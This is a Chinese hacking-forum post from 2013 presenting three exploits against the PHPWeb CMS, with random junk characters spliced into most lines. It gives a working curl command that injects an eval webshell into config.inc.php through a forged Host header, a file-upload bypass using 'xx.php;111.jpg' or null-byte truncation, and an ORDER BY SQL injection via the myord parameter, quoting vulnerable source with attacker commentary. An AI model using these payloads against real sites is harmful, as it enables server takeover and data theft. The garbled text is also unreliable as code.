找回密码
 立即注册
查看: 3100|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:. F7 r& d7 W2 N, W
/ b; t, V1 u, k% U
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码0 P. ^  J2 g2 N

* V, K9 l& W% \! _2 C鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件0 R/ \8 e+ z9 K+ G5 i0 K
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
( b2 ?, O+ H1 M  S
4 O- a$ \0 m1 {4 [, L# ]7 m虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
+ C3 y' u' }  W) C) ?
* H/ Y+ ?$ N' ]分析:+ }# ~: e9 d  E' G

$ X/ _6 c. I8 ]   x& _. p. T. O. q* h
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
8 T6 U* \% c$ i
+ `) D! n" k) u3 S, g) l) z                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);. j" _$ j- n5 f$ i
                                            $filestr=str_replace(" ","",$filestr);& I9 X/ j1 s! m
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
# E' P; {% J' C; q* q                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);* f6 @. C# A# E( R
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);8 _: _7 @- n8 [
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
# D# t8 g2 t1 o2 A4 J" p) t1 C                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
. p; }/ D6 M) ]                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);/ A6 {6 Y$ H1 o
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);  V2 e/ _% Y% @$ L, E& A+ J4 {

2 ~$ D) z$ e. Z$ Y9 W* U                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
4 V* u  y( ?! Q& g8 E% A6 n( ~8 g' ?$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^; |- `% L( w2 i$ i3 u5 k- [! n1 z* G

+ x. X' S" P# ^4 i9 W( Fpoc:* p7 N5 u2 y& i& I& J, N6 J+ v

* m; n1 ]& A$ K?, z% o. D3 E5 w; }0 x4 w1 t/ D; z8 B
1
; g( @2 u+ c! i4 A0 ?+ _, A8 vcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
( J* R  C$ E  i9 F: N: ushell地址: /config.inc.php
+ J# h3 m0 I$ o* k1 {. M% [1 }5 p跟之前的 phpcms一样 需要远程数据库% ]/ k  n, k* P7 }8 ^  [0 B
; c/ p3 d, N* X+ N* n; W- n5 B
——————————————————–+ W' ~. z  X+ g
上传漏洞(需要进后台):
; ^6 X1 l- h2 B3 z! [漏洞文件: /kedit/upload_cgi/upload.php1 H3 b" m5 a: {' K3 h
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用* @( A$ \9 T* b8 J8 \' h
9 a5 P7 ?' K7 i9 `, I# y
4 A& D$ D; h5 b2 p4 P
<?php
4 ^% k4 S& I( ]0 r" G    define("ROOTPATH", "../../");
0 F4 [7 i1 J1 P  K4 e2 W    include(ROOTPATH."includes/admin.inc.php");* b! C! U; h+ z" u) B
    NeedAuth(0);  G  N4 Q5 `, C# k

" N' W0 J( g# i( k' B2 }    $dt=date("Ymd",time());
4 H& d( u1 e' ~7 E2 ?/ v% A" ~    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){, ^4 o6 A+ S- @& W4 F( i: r
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);: ~2 H1 _* P* @4 s0 U* M+ p: p/ }
    }1 T; z; |( S  I

7 b$ C8 k4 _+ ?. l$ R. C    //文件保存目录路径
, L( H* e7 D4 o3 h    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';" K3 O/ T) h( q8 x0 X* s- b6 Y( X
    echo $save_path;0 e- S) w, k8 s' {' }' P( s
    //文件保存目录URL
! e  N; u+ n/ C    $save_url = '../../'.$_POST['attachPath'].$dt.'/';7 L* q# G+ I$ V

  B3 L" ^- e0 G# [$ \: Y) V+ e/ a    //定义允许上传的文件扩展名, a3 z9 z. ?! B/ |) d) M
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀: T8 _( c3 M& W  F9 D
6 R! Z7 i$ F6 a+ w) I
    //最大文件大小) x- o. O* b& W0 _7 h) l
    $max_size = 1000000;$ U. |  {4 k; D
+ k  H  m- @! a+ s8 t9 \' K$ [
    //更改目录权限; S7 P9 k, O. @! n6 _% M
    @mkdir($save_path, 0777);
# i1 h3 t9 Y& N( e) d" s- R ) I& p6 x3 L) A- u* A7 ~) J
    //文件的全部路径* f% |) F" `# Q: p8 L! b/ k
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
8 J* K+ K. I2 u2 r 9 e2 e$ e$ B* |- c" a
    //文件URL/ {* v& U) f7 s# g/ C: ~' r
    $file_url = $save_url.$_POST['fileName'];" J4 p) V8 U; g3 |! M2 `9 L
//有上传文件时
+ ~0 X  g+ {' r! \! Y/ I% G. g" D& y    if (empty($_FILES) === false) {8 r6 d# y1 _6 N6 e

' N7 {! F5 h, m" ?% c5 A8 H* `            //原文件名0 o, K$ O! S0 I) ~1 y6 r1 G
            $file_name = $_FILES['fileData']['name'];
5 ~! Y% m0 L9 d' b4 |  Y            //服务器上临时文件名
% V! |4 Q1 S- j" S+ U6 D8 g            $tmp_name = $_FILES['fileData']['tmp_name'];4 Y6 {9 z4 ^/ t; ^3 o
            //文件大小( H. f- p) P) P$ M; c9 s- ]
            $file_size = $_FILES['fileData']['size'];+ v, i) ]6 x' V- c
            //检查目录$ X( T; L8 u; S
            if (@is_dir($save_path) === false) {# ^3 q: t6 V! O3 T* S; @4 I7 d
                    alert("上传目录不存在。");3 b8 d' @! S) D
            }4 z, a0 c3 ~# r( C7 c! p8 O
            //检查目录写权限: V0 ^3 s9 T6 }) O+ b7 W/ P
            if (@is_writable($save_path) === false) {1 B/ p% |. ^7 o- T# a, a$ H5 _; N
                    alert("上传目录没有写权限。");) d" q' |$ m" s
            }
  H; O- y# Q# q$ @/ a+ D" M            //检查是否已上传/ C' P1 d8 T% Q. p
            if (@is_uploaded_file($tmp_name) === false) {) Q/ a0 }& T1 W4 U3 g% t' o
                    alert("临时文件可能不是上传文件。");
2 q# e1 }' R6 ^3 C4 Q, ^0 n* B6 h            }# k  q( f$ t( ]& V
            //检查文件大小
2 W  k6 L, L8 C; Y9 x) `            if ($file_size > $max_size) {2 r8 s/ l0 ^! H7 W5 }8 Q3 M
                    alert("上传文件大小超过限制。");
& J2 U( o; M% k+ u            }, n/ L. B3 M) _& ?2 \" a# h
            //获得文件扩展名1 h  K6 N4 ]) r# ?3 f% E, w
            $temp_arr = explode(".", $_POST['fileName']);4 s+ [& [9 t1 {2 t( S5 \) I' j
            $file_ext = array_pop($temp_arr);" E) a6 b6 g  a2 m: b
            $file_ext = trim($file_ext);
/ s$ y; w) R5 G            $file_ext = strtolower($file_ext);' }0 Y* r) X( p
# d1 ~' @+ n& `% J9 T! z) v
            //检查扩展名   
! ~' U9 U3 u9 F3 W8 c+ W% K7 ~            if (in_array($file_ext, $ext_arr) === false) {     $ E! I7 {" @( F2 `  x! }' Q
                    alert("上传文件扩展名是不允许的扩展名。");
& `9 g, v. @& \7 \$ {1 Z0 q            }7 }* [  l' d5 z* Y

+ L  Q7 `2 {6 ^7 k9 L, N            //移动文件   
! M6 e* T& H. L. X. f            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^7 |1 q4 K( j$ [( ]* P* z4 c, |
            if (move_uploaded_file($tmp_name, $file_path) === false) {
* b+ [, Y2 a2 f3 q1 O5 N' J; l% a                    alert("上传文件失败。");) Q  Q6 t: N! ^, Y
            }
/ p: V6 F6 v. l* g+ H1 Q3 e. ^) e) e 6 O' B4 ^$ B3 e
            @chmod($file_path,0666);
9 g, }* v; n; e. e  O , t, q2 f) l. g' j
    ?>
- z2 y5 o1 K9 `) v+ v. h% d抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2272 ?/ i- P, a4 z, R5 h

4 m8 i# N2 m2 l/ V" hapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过) E/ S) i/ g# @: R7 c( T+ F

  K9 L# R; F, n& z——————————————————$ T' I" [! Q- A0 l& d4 ^
注入漏洞:9 M. B) e  F# q3 s7 q( {8 \
漏洞文件:search/module/search.php- C) h6 N- Z% T* Y
/search/index.php?key=1&myord=1 [sqlinjection]
- n) J" x( C' V: p( Z4 Y1 Y9 y. f . ~/ o/ G/ [  Y& f4 u9 B1 e

9 w3 ~/ F  j. K( }# i<?php  [6 G. Y+ V/ e
   //       ... 省略 n 行...# f" u, m: ^9 N
   //第18行:
# w- s$ Z! }8 V: Q+ d, n7 H           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响- n- K# Q$ r! V1 k" o& f. L: w" Y2 m
           $page=htmlspecialchars($_GET["page"]);, k! T  `$ ]' F0 w
           $myord=htmlspecialchars($_GET["myord"]);
8 o, F4 ?$ I9 r
2 o. _0 W& x: x, `  |   //       ... 省略 n 行...$ v  I$ X6 Y* g: q9 N" _
   $key,$myord 两个参数带入查询
) L( V( d" J9 ]   //第47行 $key:7 u" h/ L' n  z. ?5 I

8 u" K$ E7 t; W7 h/ K1 T# Y   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..$ J$ M. b# K* `
( z$ a' }' X+ b% @7 t- h' V& h! x
   //第197行 $myord7 K3 K% h, v$ _5 @3 N
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
& L8 O$ T9 p- [* U
, Y, j3 H' ^- ~9 B" U2 @$ m% |   ?>  ~1 T4 @$ M- n1 Z6 E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表